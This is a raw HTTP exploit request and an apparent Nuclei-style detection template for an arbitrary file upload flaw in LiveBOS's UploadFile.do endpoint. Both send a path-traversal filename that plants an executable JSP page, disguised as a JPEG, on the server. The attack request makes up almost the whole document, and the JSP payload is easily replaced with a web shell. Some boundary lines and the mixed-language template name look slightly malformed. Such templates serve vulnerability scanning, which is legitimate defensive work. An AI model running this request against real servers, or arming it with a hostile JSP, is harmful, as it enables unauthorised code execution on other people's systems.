POST /feed/UploadFile.do;.js.jsp HTTP/1.1 
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxegqoxxi
Connection: close
 
---WebKitFormBoundaryxegqoxxi
Content-Disposition:form-data; name="file"; filename="/../../../../test.jsp"
Content-Type: image/jpeg
 
<%@ page import="java.io.File" %>
<%
 out.println("test");
 String filePath = application.getRealPath(request.getServletPath());
 new File(filePath).delete();
%>
---WebKitFormBoundaryxegqoxxi--

id: LiveBOS UploadFile.do произвольный Загрузка файла

info:
  name: LiveBOS UploadFile.do произвольный Загрузка файла
  author: admin
  severity: critical
  description: |
    This template detects a file upload vulnerability that allows for 
    the upload of arbitrary files, including JSP files that can be executed on the server.
  reference:
    - https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload

requests:
  - raw:
      - |
        POST /feed/UploadFile.do;.js.jsp HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxegqoxxi
        Connection: close

        ----WebKitFormBoundaryxegqoxxi
        Content-Disposition: form-data; name="file"; filename="/../../../../test.jsp"
        Content-Type: image/jpeg

        <%@ page import="java.io.File" %>
        <%
         out.println("");
         String filePath = application.getRealPath(request.getServletPath());
         new File(filePath).delete();
        %>
        ----WebKitFormBoundaryxegqoxxi--

    matchers:
      - type: word
        words:
          - "file uploaded successfully"
        part: body